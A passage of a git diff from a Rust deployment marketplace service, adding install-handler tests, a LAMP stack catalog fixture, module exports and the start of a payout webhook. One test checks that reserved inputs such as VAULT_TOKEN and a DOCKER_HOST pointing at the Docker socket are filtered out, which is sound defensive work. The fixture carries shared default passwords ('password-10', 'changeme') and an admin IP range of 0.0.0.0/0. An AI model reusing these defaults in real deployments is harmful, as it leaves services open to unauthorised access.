+                user_service.get_ref(),
+                install_service.get_ref(),
+                vault_client.get_ref(),
+            )
+            .await?
+        }
+        Ok((template, None)) => {
+            return Err(
+                JsonResponse::<serde_json::Value>::build().bad_request(format!(
+                    "Template '{}' has no installable version",
+                    template.slug
+                )),
+            );
+        }
+        Err(db::marketplace::SlugLookupError::Internal) => {
+            return Err(JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Internal Server Error"));
+        }
+        Err(db::marketplace::SlugLookupError::NotFound) => {
+            install_catalog_application(
+                &slug,
+                &request,
+                user.as_ref(),
+                pg_pool.get_ref(),
+                mq_manager.get_ref(),
+                settings.get_ref(),
+                user_service.get_ref(),
+                install_service.get_ref(),
+                vault_client.get_ref(),
+            )
+            .await?
+        }
+    };
+
+    let message = if response.deployment_id.is_some() {
+        "Install deployment started"
+    } else {
+        "Template installed"
+    };
+
+    Ok(JsonResponse::build().set_item(response).ok(message))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{
+        amount_minor_for, build_project_form, catalog_application_project_form,
+        ensure_catalog_application_has_deploy_context, is_per_install_effective,
+        merge_catalog_enrichment, summarize, synthesize_catalog_compose, validate_installable_form,
+    };
+    use crate::configuration::Settings;
+    use crate::connectors::user_service::AuthorizationHandle;
+    use crate::{forms::project::Payload, models};
+    use serde_json::{json, Map};
+    use uuid::Uuid;
+
+    fn make_yaml_version() -> models::StackTemplateVersion {
+        models::StackTemplateVersion {
+            id: Uuid::new_v4(),
+            template_id: Uuid::new_v4(),
+            version: "1.0.0".to_string(),
+            stack_definition: json!("version: '3.8'\nservices:\n  app:\n    image: nginx:latest"),
+            config_files: json!([]),
+            assets: json!([]),
+            seed_jobs: json!([]),
+            post_deploy_hooks: json!([]),
+            update_mode_capabilities: None,
+            definition_format: Some("yaml".to_string()),
+            changelog: None,
+            is_latest: Some(true),
+            created_at: None,
+        }
+    }
+
+    #[test]
+    fn yaml_stack_definition_builds_valid_project_form() {
+        let template = models::StackTemplate {
+            slug: "stackdog".to_string(),
+            name: "Stackdog".to_string(),
+            short_description: Some("A monitoring tool".to_string()),
+            category_code: Some("monitoring".to_string()),
+            ..Default::default()
+        };
+        let version = make_yaml_version();
+
+        let form = build_project_form(&template, &version, None)
+            .expect("YAML stack should produce a valid ProjectForm");
+
+        assert_eq!(form.custom.custom_stack_code, "stackdog");
+        assert_eq!(form.custom.project_name, Some("Stackdog".to_string()));
+        assert_eq!(
+            form.custom.custom_stack_short_description,
+            Some("A monitoring tool".to_string())
+        );
+        assert!(form.custom.web.is_empty());
+        assert_eq!(form.custom.service.as_ref().map(|v| v.len()), Some(0));
+        assert_eq!(form.custom.feature.as_ref().map(|v| v.len()), Some(0));
+        assert_eq!(form.custom.marketplace_version, Some("1.0.0".to_string()));
+    }
+
+    #[test]
+    fn yaml_stack_definition_embeds_compose_in_config_files() {
+        let template = models::StackTemplate {
+            slug: "stackdog".to_string(),
+            name: "Stackdog".to_string(),
+            ..Default::default()
+        };
+        let version = make_yaml_version();
+
+        let form = build_project_form(&template, &version, None)
+            .expect("YAML stack should produce a valid ProjectForm");
+
+        let config_files: &Vec<serde_json::Value> = form
+            .custom
+            .marketplace_config_files
+            .as_array()
+            .expect("config_files should be an array");
+
+        let has_compose = config_files.iter().any(|f| {
+            f.get("name")
+                .and_then(|n| n.as_str())
+                .map(|n| n.contains("docker-compose") || n.contains("compose"))
+                .unwrap_or(false)
+        });
+        assert!(has_compose, "config_files should contain a compose entry");
+    }
+
+    #[test]
+    fn yaml_stack_definition_respects_requested_name() {
+        let template = models::StackTemplate {
+            slug: "stackdog".to_string(),
+            name: "Stackdog".to_string(),
+            ..Default::default()
+        };
+        let version = make_yaml_version();
+
+        let form = build_project_form(&template, &version, Some("my-instance"))
+            .expect("YAML stack should produce a valid ProjectForm");
+
+        assert_eq!(form.custom.custom_stack_code, "my-instance");
+        assert_eq!(form.custom.project_name, Some("Stackdog".to_string()));
+    }
+
+    #[test]
+    fn catalog_application_project_form_preserves_catalog_context() {
+        let application = json!({
+            "code": "dify",
+            "name": "Dify",
+            "description": "Dify AI application platform",
+            "categories": ["AI"],
+            // A single-app catalog entry carries a real container image; without
+            // one it is not installable (catalog_application_project_form now
+            // fails loud rather than shipping an empty compose).
+            "docker_image": "langgenius/dify-api",
+            "is_from_marketplace": true
+        });
+
+        let form = catalog_application_project_form(&application, "dify", None)
+            .expect("catalog application should produce a valid project form");
+        let metadata = serde_json::to_value(&form).expect("form should serialize");
+        let project = models::Project::new(
+            "user-1".to_string(),
+            form.custom.custom_stack_code.clone(),
+            metadata,
+            json!({}),
+        );
+        let payload = Payload::try_from(&project).expect("project metadata should build payload");
+
+        assert_eq!(form.custom.custom_stack_code, "dify");
+        assert_eq!(form.custom.project_name.as_deref(), Some("Dify"));
+        assert_eq!(payload.custom.catalog_application["code"], json!("dify"));
+        assert_eq!(
+            payload.custom.catalog_application["is_from_marketplace"],
+            json!(true)
+        );
+    }
+
+    #[test]
+    fn synthesize_catalog_compose_builds_single_service_from_image_and_port() {
+        let application = json!({
+            "code": "n8n",
+            "docker_image": "n8nio/n8n:latest",
+            "default_port": 5678,
+            "default_env": { "N8N_PORT": "5678", "GENERIC_TIMEZONE": "UTC" }
+        });
+
+        let compose = synthesize_catalog_compose(&application, "n8n")
+            .expect("compose should be synthesized when a docker image is present");
+        let parsed: serde_yaml::Value = serde_yaml::from_str(&compose).unwrap();
+        let svc = &parsed["services"]["n8n"];
+
+        assert_eq!(svc["image"], serde_yaml::Value::from("n8nio/n8n:latest"));
+        assert_eq!(svc["ports"][0], serde_yaml::Value::from("5678:5678"));
+        assert_eq!(
+            svc["environment"]["N8N_PORT"],
+            serde_yaml::Value::from("5678")
+        );
+        assert_eq!(svc["restart"], serde_yaml::Value::from("unless-stopped"));
+        // External default_network is declared so the stack joins the shared net.
+        assert_eq!(
+            parsed["networks"]["default_network"]["external"],
+            serde_yaml::Value::from(true)
+        );
+    }
+
+    #[test]
+    fn synthesize_catalog_compose_returns_none_without_image() {
+        let application = json!({ "code": "n8n", "default_port": 5678 });
+        assert!(synthesize_catalog_compose(&application, "n8n").is_none());
+    }
+
+    #[test]
+    fn synthesize_catalog_compose_accepts_kv_list_env() {
+        let application = json!({
+            "docker_image": "img:1",
+            "default_env": [ { "key": "A", "value": "1" }, "B=2" ]
+        });
+        let compose = synthesize_catalog_compose(&application, "svc").unwrap();
+        let parsed: serde_yaml::Value = serde_yaml::from_str(&compose).unwrap();
+        assert_eq!(
+            parsed["services"]["svc"]["environment"]["A"],
+            serde_yaml::Value::from("1")
+        );
+        assert_eq!(
+            parsed["services"]["svc"]["environment"]["B"],
+            serde_yaml::Value::from("2")
+        );
+    }
+
+    #[test]
+    fn synthesize_catalog_compose_builds_multi_service_stack_from_members() {
+        // A stack (e.g. LAMP) carries no top-level image; each member service
+        // provides its own real container image. The synthesizer must emit one
+        // compose service per member, keyed by member code, and never fall back
+        // to the empty stack-level docker_image.
+        let application = json!({
+            "code": "lamp",
+            "kind": "stack",
+            "docker_image": "",
+            "services": [
+                {
+                    "code": "apache",
+                    "docker_image": "trydirect/php",
+                    "default_ports": [80],
+                    "default_env": { "PHP_ENV": "prod" }
+                },
+                {
+                    "code": "mariadb",
+                    "docker_image": "mariadb:11",
+                    "default_env": [ { "key": "MARIADB_ROOT_PASSWORD", "value": "secret" } ]
+                }
+            ]
+        });
+
+        let compose = synthesize_catalog_compose(&application, "lamp")
+            .expect("a stack with member images should synthesize a multi-service compose");
+        let parsed: serde_yaml::Value = serde_yaml::from_str(&compose).unwrap();
+        let services = parsed["services"].as_mapping().expect("services mapping");
+
+        // One service per member, keyed by member code (not the stack code).
+        assert_eq!(services.len(), 2);
+        assert_eq!(
+            parsed["services"]["apache"]["image"],
+            serde_yaml::Value::from("trydirect/php")
+        );
+        assert_eq!(
+            parsed["services"]["apache"]["ports"][0],
+            serde_yaml::Value::from("80:80")
+        );
+        assert_eq!(
+            parsed["services"]["apache"]["environment"]["PHP_ENV"],
+            serde_yaml::Value::from("prod")
+        );
+        assert_eq!(
+            parsed["services"]["mariadb"]["image"],
+            serde_yaml::Value::from("mariadb:11")
+        );
+        assert_eq!(
+            parsed["services"]["mariadb"]["environment"]["MARIADB_ROOT_PASSWORD"],
+            serde_yaml::Value::from("secret")
+        );
+        // The empty stack-level docker_image must never leak in as a service.
+        assert!(services.get(serde_yaml::Value::from("lamp")).is_none());
+    }
+
+    #[test]
+    fn synthesize_catalog_compose_returns_none_for_stack_without_member_images() {
+        // A stack whose members all lack images cannot be synthesized -> None,
+        // so the caller fails loud rather than shipping an empty compose.
+        let application = json!({
+            "kind": "stack",
+            "docker_image": "",
+            "services": [ { "code": "apache" }, { "code": "mariadb" } ]
+        });
+        assert!(synthesize_catalog_compose(&application, "lamp").is_none());
+    }
+
+    #[test]
+    fn full_production_lamp_payload_deserializes_and_synthesizes_13_services() {
+        // The EXACT bytes returned by GET /applications/catalog/lamp in production
+        // (all 13 members). Proves the full response parses into Application, that
+        // services[] survives the get_catalog_application round-trip, and that the
+        // synthesizer emits a multi-service compose. If this passes, a runtime
+        // "single-app fail-loud" cannot be a deserialization problem.
+        let raw = include_str!("lamp_catalog_fixture.json");
+
+        let app: crate::connectors::user_service::app::Application = serde_json::from_str(raw)
+            .expect("full production LAMP payload must deserialize into Application");
+        let value = serde_json::to_value(&app).expect("Application must reserialize");
+
+        let services = value
+            .get("services")
+            .and_then(|v| v.as_array())
+            .expect("services[] must survive the Application round-trip");
+        assert_eq!(services.len(), 13, "expected all 13 members to survive");
+
+        let compose = synthesize_catalog_compose(&value, "lamp")
+            .expect("full payload must synthesize a multi-service compose");
+        for img in ["trydirect/mysql", "trydirect/apache", "trydirect/nginx-proxy-manager"] {
+            assert!(compose.contains(img), "compose missing {img}:\n{compose}");
+        }
+    }
+
+    #[test]
+    fn merge_catalog_enrichment_carries_services_into_synthesized_stack() {
+        // Reproduces the real install_catalog_application flow: a service-less
+        // search summary is enriched from /applications/catalog, then synthesized.
+        // The stack's services[]/kind must survive merge_catalog_enrichment,
+        // otherwise synthesize wrongly takes the single-app path and fails loud.
+        let enriched: serde_json::Value =
+            serde_json::from_str(include_str!("lamp_catalog_fixture.json")).unwrap();
+        let mut summary = json!({ "code": "lamp", "name": "LAMP", "is_from_marketplace": true });
+
+        merge_catalog_enrichment(&mut summary, &enriched);
+
+        assert_eq!(summary.get("kind").and_then(|v| v.as_str()), Some("stack"));
+        let services = summary
+            .get("services")
+            .and_then(|v| v.as_array())
+            .expect("services[] must be carried into the summary by the merge");
+        assert_eq!(services.len(), 13);
+
+        let compose = synthesize_catalog_compose(&summary, "lamp")
+            .expect("merged stack summary must synthesize a multi-service compose");
+        assert!(compose.contains("trydirect/mysql"), "compose:\n{compose}");
+        assert!(compose.contains("trydirect/apache"), "compose:\n{compose}");
+    }
+
+    #[test]
+    fn real_stack_catalog_payload_round_trips_and_synthesizes_multi_service() {
+        // Exact shape returned by GET /applications/catalog/lamp in production:
+        // kind:"stack", empty top-level docker_image, member services[] with real
+        // images, null/list default_ports, object default_env. This reproduces the
+        // full server path: fetch_app_catalog deserializes into Application, then
+        // get_catalog_application reserializes via serde_json::to_value, then the
+        // synthesizer runs. `services[]` must survive the round-trip.
+        let raw = r#"{
+            "_id": 54, "code": "lamp", "name": "LAMP", "kind": "stack",
+            "docker_image": "",
+            "services": [
+                {"_id":1,"code":"mysql","name":"MySQL","role":null,"type":"service",
+                 "docker_image":"trydirect/mysql","default_ports":null,
+                 "default_env":{"MYSQL_HOST":"mysqldb","MYSQL_PORT":"3306"},
+                 "default_config_files":[]},
+                {"_id":9,"code":"statuspanel","name":"Status Panel","role":"statuspanel",
+                 "type":"feature","docker_image":"trydirect/status",
+                 "default_ports":["5000"],"default_env":{},"default_config_files":[]}
+            ]
+        }"#;
+
+        let app: crate::connectors::user_service::app::Application =
+            serde_json::from_str(raw).expect("catalog stack payload must deserialize into Application");
+        let value = serde_json::to_value(&app).expect("Application must reserialize");
+
+        // The critical invariant: services[] survives the typed round-trip.
+        let services = value
+            .get("services")
+            .and_then(|v| v.as_array())
+            .expect("services[] must survive the Application round-trip");
+        assert_eq!(services.len(), 2, "round-trip dropped services: {value}");
+
+        let compose = synthesize_catalog_compose(&value, "lamp")
+            .expect("stack payload must synthesize a multi-service compose, not fail loud");
+        assert!(compose.contains("trydirect/mysql"), "compose: {compose}");
+        assert!(compose.contains("trydirect/status"), "compose: {compose}");
+    }
+
+    #[test]
+    fn catalog_form_embeds_synthesized_compose_when_image_present() {
+        let application = json!({
+            "code": "n8n",
+            "name": "n8n",
+            "docker_image": "n8nio/n8n:latest",
+            "default_port": 5678
+        });
+
+        let form = catalog_application_project_form(&application, "n8n", None).unwrap();
+        let files = &form.custom.marketplace_config_files;
+        let arr = files
+            .as_array()
+            .expect("marketplace_config_files should be an array");
+        let compose = arr
+            .iter()
+            .find(|f| f.get("name").and_then(|n| n.as_str()) == Some("docker-compose.yml"))
+            .and_then(|f| f.get("content"))
+            .and_then(|c| c.as_str())
+            .expect("a docker-compose.yml should be embedded");
+        assert!(compose.contains("n8nio/n8n:latest"));
+        assert!(compose.contains("services:"));
+    }
+
+    #[test]
+    fn merge_catalog_enrichment_overlays_deployable_fields() {
+        let mut application = json!({ "code": "n8n", "name": "n8n" });
+        let enriched = json!({
+            "docker_image": "n8nio/n8n:latest",
+            "default_port": 5678,
+            "default_env": null
+        });
+        merge_catalog_enrichment(&mut application, &enriched);
+
+        assert_eq!(application["docker_image"], json!("n8nio/n8n:latest"));
+        assert_eq!(application["default_port"], json!(5678));
+        // Null enriched values must not overwrite / introduce nulls.
+        assert!(application.get("default_env").is_none());
+    }
+
+    #[test]
+    fn catalog_application_slug_match_accepts_code_or_slug() {
+        assert!(super::catalog_application_matches_slug(
+            &json!({ "code": "dify" }),
+            "dify"
+        ));
+        assert!(super::catalog_application_matches_slug(
+            &json!({ "slug": "dify" }),
+            "dify"
+        ));
+        assert!(!super::catalog_application_matches_slug(
+            &json!({ "code": "wordpress" }),
+            "dify"
+        ));
+    }
+
+    #[test]
+    fn catalog_application_requires_deploy_context_before_project_creation() {
+        let request = super::InstallTemplateRequest {
+            name: None,
+            deploy: None,
+            install_inputs: Map::new(),
+            idempotency_key: None,
+        };
+
+        assert!(ensure_catalog_application_has_deploy_context("dify", &request).is_err());
+    }
+
+    // Production's ghost: the exact shape `stacker submit` sends — the raw
+    // stacker.yml parsed to JSON (has `app`/`services`/`name`, no `custom`
+    // wrapper, `definition_format` unset). Install must accept this and
+    // embed the serialized YAML as `stacker.yml` in marketplace_config_files.
+    #[test]
+    fn build_project_form_accepts_stacker_yml_shape_from_submit() {
+        let template = models::StackTemplate {
+            slug: "ghost".to_string(),
+            name: "ghost".to_string(),
+            short_description: Some("Ghost blog".to_string()),
+            category_code: Some("cms".to_string()),
+            ..Default::default()
+        };
+        let version = models::StackTemplateVersion {
+            id: Uuid::new_v4(),
+            template_id: Uuid::new_v4(),
+            version: "1.0.0".to_string(),
+            stack_definition: json!({
+                "name": "ghost",
+                "app": { "type": "custom", "image": "ghost:5-alpine" },
+                "services": [],
+                "deploy": { "target": "local" }
+            }),
+            config_files: json!([]),
+            assets: json!([]),
+            seed_jobs: json!([]),
+            post_deploy_hooks: json!([]),
+            update_mode_capabilities: None,
+            definition_format: None,
+            changelog: None,
+            is_latest: Some(true),
+            created_at: None,
+        };
+
+        let form = build_project_form(&template, &version, None)
+            .expect("stacker.yml shape from `stacker submit` must build a ProjectForm");
+        assert_eq!(form.custom.custom_stack_code, "ghost");
+        assert_eq!(form.custom.project_name, Some("ghost".to_string()));
+
+        let files: &Vec<serde_json::Value> = form
+            .custom
+            .marketplace_config_files
+            .as_array()
+            .expect("marketplace_config_files should be an array");
+        let embed = files
+            .iter()
+            .find(|f| f.get("name").and_then(|n| n.as_str()) == Some("stacker.yml"))
+            .expect(
+                "stacker.yml shape should be embedded as `stacker.yml`, not `docker-compose.yml`",
+            );
+        let content = embed
+            .get("content")
+            .and_then(|c| c.as_str())
+            .unwrap_or_default();
+        assert!(
+            content.contains("app:") && content.contains("ghost:5-alpine"),
+            "embedded content should be the serialized stacker.yml, got: {}",
+            content
+        );
+
+        validate_installable_form(&template, &version)
+            .expect("validator should agree with build_project_form");
+    }
+
+    #[test]
+    fn validate_installable_accepts_yaml_compose_definition() {
+        let template = models::StackTemplate {
+            slug: "umami".to_string(),
+            name: "umami".to_string(),
+            ..Default::default()
+        };
+        let version = make_yaml_version();
+
+        validate_installable_form(&template, &version)
+            .expect("a compose-YAML stack definition must pass the gate");
+    }
+
+    #[test]
+    fn validate_installable_accepts_legacy_custom_wrapped_definition() {
+        let template = models::StackTemplate {
+            slug: "legacy".to_string(),
+            name: "legacy".to_string(),
+            ..Default::default()
+        };
+        let version = models::StackTemplateVersion {
+            id: Uuid::new_v4(),
+            template_id: Uuid::new_v4(),
+            version: "1.0.0".to_string(),
+            stack_definition: json!({
+                "custom": {
+                    "custom_stack_code": "legacy",
+                    "web": [],
+                    "networks": []
+                }
+            }),
+            config_files: json!([]),
+            assets: json!([]),
+            seed_jobs: json!([]),
+            post_deploy_hooks: json!([]),
+            update_mode_capabilities: None,
+            definition_format: None,
+            changelog: None,
+            is_latest: Some(true),
+            created_at: None,
+        };
+
+        validate_installable_form(&template, &version)
+            .expect("a legacy custom-wrapped stack definition must pass the gate");
+    }
+    #[test]
+    fn reserved_prefix_vars_rejected_in_install_inputs() {
+        let mut deploy = crate::forms::project::Deploy::default();
+        let mut inputs = Map::new();
+        inputs.insert("VAULT_TOKEN".to_string(), json!("secret-vault"));
+        inputs.insert("STACKER_SECRET".to_string(), json!("stacker-internal"));
+        inputs.insert(
+            "DOCKER_HOST".to_string(),
+            json!("unix:///var/run/docker.sock"),
+        );
+        inputs.insert("AGENT_KEY".to_string(), json!("agent-secret"));
+        inputs.insert("normal_key".to_string(), json!("safe-value"));
+
+        super::apply_install_inputs_to_deploy(&mut deploy, &inputs);
+
+        let vars = deploy
+            .stack
+            .vars
+            .as_ref()
+            .expect("vars should be populated");
+        let keys: Vec<&str> = vars.iter().filter_map(|v| v.key.as_deref()).collect();
+
+        for key in &keys {
+            assert!(
+                !key.starts_with("VAULT_"),
+                "VAULT_ key must be rejected but found: {}",
+                key
+            );
+            assert!(
+                !key.starts_with("STACKER_"),
+                "STACKER_ key must be rejected but found: {}",
+                key
+            );
+            assert!(
+                !key.starts_with("DOCKER_"),
+                "DOCKER_ key must be rejected but found: {}",
+                key
+            );
+            assert!(
+                !key.starts_with("AGENT_"),
+                "AGENT_ key must be rejected but found: {}",
+                key
+            );
+        }
+
+        assert!(
+            keys.contains(&"normal_key"),
+            "normal_key should pass through to vars"
+        );
+    }
+
+    #[test]
+    fn response_config_files_are_redacted() {
+        let mut version = make_yaml_version();
+        // Use YAML format (compose files) — redact_yaml_string redacts by key name.
+        version.config_files = json!([
+            {
+                "name": "docker-compose.yml",
+                "content": "services:\n  app:\n    image: nginx\n    environment:\n      SECRET_KEY: abc123secretvalue\n      DB_PASSWORD: hunter2\n"
+            }
+        ]);
+        version.stack_definition =
+            json!("SECRET_KEY: supersecret\nservices:\n  app:\n    image: nginx");
+        version.definition_format = Some("yaml".to_string());
+
+        let format = version
+            .definition_format
+            .as_deref()
+            .unwrap_or("")
+            .to_string();
+        let mut ver_value = serde_json::to_value(&version).unwrap();
+        super::redact_version_value(&mut ver_value, &format);
+
+        if let Some(files) = ver_value["config_files"].as_array() {
+            for file in files {
+                let content = file["content"].as_str().unwrap_or("");
+                assert!(
+                    !content.contains("abc123secretvalue"),
+                    "config_files content must not expose raw secret values (found 'abc123secretvalue')"
+                );
+                assert!(
+                    !content.contains("hunter2"),
+                    "config_files content must not expose raw secret values (found 'hunter2')"
+                );
+            }
+        }
+    }
+
+    // ── per_install helpers (pure functions) ─────────────────────────
+    //
+    // Full install-handler integration tests live under `tests/` — they
+    // need a real Postgres + wiremock and belong with the cucumber suite.
+    // The tests here pin the pure pieces that decide *whether* to bill and
+    // *how much*, plus the response-shape summarizer.
+
+    fn per_install_template_fixture() -> models::StackTemplate {
+        models::StackTemplate {
+            slug: "paid-per-install".to_string(),
+            price: Some(9.99),
+            billing_cycle: Some("per_install".to_string()),
+            currency: Some("USD".to_string()),
+            product_id: Some(42),
+            ..Default::default()
+        }
+    }
+
+    fn settings_with_billing_flag(enabled: bool) -> Settings {
+        let mut s = Settings::default();
+        s.per_install_billing_enabled = enabled;
+        s
+    }
+
+    #[test]
+    fn is_per_install_effective_requires_both_opt_in_and_flag() {
+        let template = per_install_template_fixture();
+
+        assert!(is_per_install_effective(
+            &template,
+            &settings_with_billing_flag(true)
+        ));
+        assert!(
+            !is_per_install_effective(&template, &settings_with_billing_flag(false)),
+            "kill switch off must force the gate to fall through to legacy paths"
+        );
+
+        // Template not opted in but flag on — still not per_install.
+        let mut legacy = template.clone();
+        legacy.billing_cycle = Some("one_time".to_string());
+        assert!(!is_per_install_effective(
+            &legacy,
+            &settings_with_billing_flag(true)
+        ));
+
+        // billing_cycle missing entirely — not per_install.
+        legacy.billing_cycle = None;
+        assert!(!is_per_install_effective(
+            &legacy,
+            &settings_with_billing_flag(true)
+        ));
+    }
+
+    #[test]
+    fn amount_minor_for_rounds_and_rejects_non_positive() {
+        let mut t = per_install_template_fixture();
+
+        t.price = Some(9.99);
+        assert_eq!(amount_minor_for(&t).unwrap(), 999);
+
+        t.price = Some(10.005);
+        assert_eq!(
+            amount_minor_for(&t).unwrap(),
+            1001,
+            "banker rounding to nearest cent"
+        );
+
+        // Zero and negative and missing are rejected up front — admin
+        // review should catch these before install, but we defensively
+        // fail-closed here anyway.
+        t.price = Some(0.0);
+        assert!(amount_minor_for(&t).is_err());
+        t.price = Some(-1.0);
+        assert!(amount_minor_for(&t).is_err());
+        t.price = None;
+        assert!(amount_minor_for(&t).is_err());
+    }
+
+    #[test]
+    fn summarize_flattens_authorization_handle_for_response() {
+        let h = AuthorizationHandle {
+            authorization_id: "auth-xyz".to_string(),
+            amount_minor: 999,
+            currency: "USD".to_string(),
+            expires_at: Some("2099-01-01T00:00:00Z".to_string()),
+            status: "authorized".to_string(),
+        };
+        let s = summarize(&h);
+        assert_eq!(s.authorization_id, "auth-xyz");
+        assert_eq!(s.amount_minor, 999);
+        assert_eq!(s.currency, "USD");
+        assert_eq!(s.status, "authorized");
+        assert_eq!(s.expires_at.as_deref(), Some("2099-01-01T00:00:00Z"));
+    }
+}
diff --git a/src/routes/marketplace/lamp_catalog_fixture.json b/src/routes/marketplace/lamp_catalog_fixture.json
new file mode 100644
index 00000000..b2db2f28
--- /dev/null
+++ b/src/routes/marketplace/lamp_catalog_fixture.json
@@ -0,0 +1,202 @@
+{
+  "_id": 54,
+  "code": "lamp",
+  "name": "LAMP",
+  "kind": "stack",
+  "docker_image": "",
+  "services": [
+    {
+      "_id": 1,
+      "code": "mysql",
+      "name": "MySQL",
+      "role": null,
+      "type": "service",
+      "docker_image": "trydirect/mysql",
+      "default_ports": null,
+      "default_env": {
+        "MYSQL_HOST": "mysqldb",
+        "MYSQL_PORT": "3306",
+        "MYSQL_USER": "admin",
+        "MYSQL_DATABASE": "default",
+        "MYSQL_PASSWORD": "password-10",
+        "MYSQL_ROOT_PASSWORD": "password-10"
+      },
+      "default_config_files": []
+    },
+    {
+      "_id": 2,
+      "code": "nginx",
+      "name": "Nginx",
+      "role": null,
+      "type": "service",
+      "docker_image": "trydirect/nginx",
+      "default_ports": null,
+      "default_env": {},
+      "default_config_files": []
+    },
+    {
+      "_id": 9,
+      "code": "statuspanel",
+      "name": "Status Panel",
+      "role": "statuspanel",
+      "type": "feature",
+      "docker_image": "trydirect/status",
+      "default_ports": [
+        "5000"
+      ],
+      "default_env": {
+        "status_config_json": "status_config_json",
+        "ADMIN_IP_RANGE": "0.0.0.0/0",
+        "status_panel_password": "password-10",
+        "status_panel_port": "5000",
+        "status_panel_username": "admin"
+      },
+      "default_config_files": []
+    },
+    {
+      "_id": 12,
+      "code": "fail2ban",
+      "name": "Fail2ban",
+      "role": "fail2ban",
+      "type": "feature",
+      "docker_image": "trydirect/fail2ban",
+      "default_ports": null,
+      "default_env": {},
+      "default_config_files": []
+    },
+    {
+      "_id": 45,
+      "code": "redis",
+      "name": "Redis",
+      "role": null,
+      "type": "service",
+      "docker_image": "trydirect/redis",
+      "default_ports": null,
+      "default_env": {},
+      "default_config_files": []
+    },
+    {
+      "_id": 48,
+      "code": "smtp",
+      "name": "SMTP server",
+      "role": "smtp",
+      "type": "service",
+      "docker_image": "trydirect/smtp",
+      "default_ports": [
+        "25",
+        "465",
+        "587"
+      ],
+      "default_env": {
+        "SMTP_HOST": "smtp",
+        "SMTP_PORT": "25"
+      },
+      "default_config_files": []
+    },
+    {
+      "_id": 50,
+      "code": "mariadb",
+      "name": "MariaDB",
+      "role": null,
+      "type": "service",
+      "docker_image": "trydirect/mariadb",
+      "default_ports": null,
+      "default_env": {
+        "MYSQL_HOST": "mysqldb",
+        "MYSQL_PORT": "3306",
+        "MYSQL_USER": "admin",
+        "MYSQL_DATABASE": "default",
+        "MYSQL_PASSWORD": "password-10"
+      },
+      "default_config_files": []
+    },
+    {
+      "_id": 51,
+      "code": "apache",
+      "name": "Apache",
+      "role": null,
+      "type": "service",
+      "docker_image": "trydirect/apache",
+      "default_ports": null,
+      "default_env": {},
+      "default_config_files": []
+    },
+    {
+      "_id": 173,
+      "code": "phpmyadmin",
+      "name": "phpMyAdmin",
+      "role": null,
+      "type": "web",
+      "docker_image": "trydirect/phpmyadmin",
+      "default_ports": [
+        "8082"
+      ],
+      "default_env": {
+        "MYSQL_HOST": "db",
+        "phpmyadmin_login": "root"
+      },
+      "default_config_files": []
+    },
+    {
+      "_id": 181,
+      "code": "development_support",
+      "name": "Custom Optimization",
+      "role": null,
+      "type": "feature",
+      "docker_image": "trydirect/development_support",
+      "default_ports": null,
+      "default_env": {},
+      "default_config_files": []
+    },
+    {
+      "_id": 192,
+      "code": "portainer_ce_feature",
+      "name": "Portainer CE",
+      "role": "portainer-ce-feature",
+      "type": "feature",
+      "docker_image": "trydirect/portainer-ce",
+      "default_ports": [
+        "8000",
+        "9000"
+      ],
+      "default_env": {
+        "portainer_user": "admin",
+        "PORTAINER_URL": "${commonDomain}:9000",
+        "PORTAINER_PORT": "9000",
+        "portainer_password": "password-10"
+      },
+      "default_config_files": []
+    },
+    {
+      "_id": 205,
+      "code": "nginx_proxy_manager",
+      "name": "Nginx Proxy Manager",
+      "role": "nginx_proxy_manager",
+      "type": "feature",
+      "docker_image": "trydirect/nginx-proxy-manager",
+      "default_ports": [
+        "80",
+        "81",
+        "443"
+      ],
+      "default_env": {
+        "npm_as_feature": "true",
+        "nginx_pm_user": "admin@example.com",
+        "nginx_pm_password": "changeme",
+        "gitlab_port": "8889"
+      },
+      "default_config_files": []
+    },
+    {
+      "_id": 207,
+      "code": "mydumper",
+      "name": "MyDumper",
+      "role": "mydumper",
+      "type": "feature",
+      "docker_image": "mydumper",
+      "default_ports": null,
+      "default_env": {},
+      "default_config_files": []
+    }
+  ]
+}
\ No newline at end of file
diff --git a/src/routes/marketplace/mod.rs b/src/routes/marketplace/mod.rs
index a7936dee..9920c23f 100644
--- a/src/routes/marketplace/mod.rs
+++ b/src/routes/marketplace/mod.rs
@@ -2,14 +2,24 @@ pub mod admin;
 pub mod agent;
 pub mod categories;
 pub mod creator;
+pub mod install;
+pub mod payout_webhook;
 pub mod public;
+pub mod search;
+pub mod template_rating;
 
 pub use admin::{
-    AdminDecisionRequest, UnapproveRequest, approve_handler, list_plans_handler,
-    list_submitted_handler, reject_handler, security_scan_handler, unapprove_handler,
+    approve_handler, list_plans_handler, list_submitted_handler, list_vendor_profiles_handler,
+    reject_handler, security_scan_handler, unapprove_handler, AdminDecisionRequest,
+    UnapproveRequest,
 };
 pub use creator::{
-    CreateTemplateRequest, ResubmitRequest, UpdateTemplateRequest, create_handler, mine_handler,
-    my_reviews_handler, resubmit_handler, submit_handler, update_handler,
+    analytics_handler, create_handler, finalize_asset_upload_handler, mine_handler,
+    my_reviews_handler, presign_asset_download_handler, presign_asset_upload_handler,
+    resubmit_handler, submit_handler, update_handler, AnalyticsQuery, CreateTemplateRequest,
+    FinalizeAssetRequest, PresignAssetDownloadRequest, PresignAssetUploadRequest, ResubmitRequest,
+    UpdateTemplateRequest,
 };
+pub use install::{install_handler, InstallTemplateRequest, InstallTemplateResponse};
 pub use public::TemplateListQuery;
+pub use search::{applications_search_handler, ApplicationSearchQuery};
diff --git a/src/routes/marketplace/payout_webhook.rs b/src/routes/marketplace/payout_webhook.rs
new file mode 100644
index 00000000..24bfd796
--- /dev/null
+++ b/src/routes/marketplace/payout_webhook.rs
@@ -0,0 +1,43 @@
+use crate::db;
+use crate::helpers::JsonResponse;
+use crate::services;
+use actix_web::{post, web, HttpRequest, Responder, Result};
+use sqlx::PgPool;
+use std::sync::Arc;
+
+#[tracing::instrument(name = "Payout provider webhook", skip_all)]
+#[post("/payouts/webhook")]
+pub async fn webhook_handler(
+    req: HttpRequest,
+    body: web::Bytes,
+    pg_pool: web::Data<PgPool>,
+    payout_provider: web::Data<Arc<dyn services::PayoutProvider>>,
+) -> Result<impl Responder> {
+    let signature = req
+        .headers()
+        .get("stripe-signature")
+        .and_then(|value| value.to_str().ok());
+
+    let update = payout_provider
+        .parse_webhook_update(&body, signature)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err.to_string()))?;
+
+    let Some(update) = update else {
+        return Ok(JsonResponse::<serde_json::Value>::build().ok("Webhook ignored"));
+    };
+
+    if update.onboarding_completed {
+        db::marketplace::complete_vendor_onboarding_by_payout_account_ref(
+            pg_pool.get_ref(),
